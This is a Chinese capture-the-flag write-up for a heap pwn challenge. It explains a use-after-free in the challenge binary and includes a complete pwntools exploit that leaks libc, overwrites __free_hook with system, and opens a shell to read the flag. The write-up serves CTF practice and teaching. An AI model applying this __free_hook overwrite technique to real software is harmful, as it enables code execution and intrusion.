2021年春秋杯网络安全联赛秋季赛勇者山峰 pwn The SIMS - Programming Girl

名字很长,程序像名字一样长,估计主要是为了增加代码阅读量(加大难度)

菜单很多,就不复制代码了,大概重要内容如下:

  1. wroking 工作就是挣钱,看了半天感觉没用,要求钱太多,主要是靠赔钱。
  2. improving yourself 增加魅力值:建块时的size 的最大值
    1. 2000 +8
    2. 5000 +16
    3. 10000 +32 因为堆里要得到unsort需要一个大块,需要调用这里
  3. make new friend 建新朋友 一是花钱二是建块
    1. (2) -200 不干别的直接减200块,这个好,比别的亏得快
    2. (3)建块,先calloc 0x20,再建要指定大小的块,并在0x20里放个指针,攻击管理块的指针是常规策略
  4. visit friends 这里有free
    1. (3) 直接free没删指针——漏洞点,有UAF
  5. buying 就是买房买车,这是个冒儿,没大用,走过场就行
    1. car   -100000
    2. house -500000
  6. get married 这里会输出指针指向的值,即show 只用一次,当块释放到unsort后这里得到libc
  7. quality_life 在有房有车又有钱的情况 可以修改值 即edit

add,free,show,edit都有了,只是块大小和数量有限制,比较简单的堆题,步骤如下:

  1. 为保障有房有车,需要很多钱,先调用3/2 *n直接减到负数,获得巨大money
  2. 买房买车 5/1,5/2
  3. 增加魅力 2/3 *n
  4. 正文开始:先 3/3 建8个0x80的块然后释放 4/3,填满tcache后释放到unsort 
  5. 6:show(0)得到main_arena+0x60 地址,得到libc
  6. 这时块0的管理块在fastbin,块1管理块在tcache,这时候建个0x28的块,管理块占用0的管理块,数据块占用1的管理块,通过这个块修改1管理块的指针指到free_hook(高版本libc写free_hook有点麻烦,好在给了指针,可以直接写)
  7. 7:edit(1)在__free_hook里写入system
  8. 再释放带/bin/sh的块即可

完整exp

from pwn import *

p= process('./pwn')
libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

menu = 'flat\nChoice: '
def money():
    p.sendlineafter(menu, b'3\n2')

def get_house_car():
    p.sendlineafter(menu, b'5\n1')
    p.sendlineafter(menu, b'5\n2')

def get_charm(): #max size +32
    p.sendlineafter(menu, b'2\n3')

def add(size, msg): #make friend
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b'.\nChoice: ', b'3')
    p.sendlineafter(b'Now, tell me, what do you look for in a partner:', str(size).encode())
    p.sendafter(b'Give your new male friend a nickname: ', b'B'*0x10)
    p.sendlineafter(b"For both of you, a little greeting: ", msg)

def free(idx): # visit friends
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Please choose your male friends to visit: ", str(idx).encode())
    p.sendlineafter(b'Choice: ', b'3')

def show(idx): #get married
    p.sendlineafter(menu, b'6')
    p.sendlineafter(b'Which male friends do you want to marry?', str(idx).encode())

def edit(idx, msg): #quality life
    p.sendlineafter(menu, b'999')
    p.sendlineafter(b"Please choice a male friends: ", str(idx).encode())
    p.sendlineafter(b"Put your thoughts in his heart: ", msg)

context(arch='amd64', log_level='debug')

p.sendlineafter(b'Name: ', b'AAAAAAAA')
p.sendlineafter(b'Age: ', b'18')
p.sendlineafter(b'Sex (1:man,2: woman): ', b'2')

for i in range(5):
    money()
get_house_car()
for i in range(10):
    get_charm()

for i in range(8):
    add(0x100, b'AAAA')
for i in range(8):
    free(7-i)

show(0)
p.recvuntil("Now, your groom will make a lifetime commitment to you: ")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
free_hook = libc_base + libc_elf.sym['__free_hook']
system    = libc_base + libc_elf.sym['system']
print('libc:', hex(libc_base))
p.send(b'\n\n')

add(0x28, b'/bin/sh\x00'*2+ p64(0x100) + p64(free_hook))
edit(1, p64(system))
free(1)

p.sendline(b'cat /flag')
p.interactive()

这题用的libc-2.33-0ubantu5 我机子上是libc-2.31可能有出入。0解题,比赛时没机子没作,比赛结束后作不了了,今天作了下,本地可通过。

你可能感兴趣的:(CTF,pwn,c语言,开发语言,后端)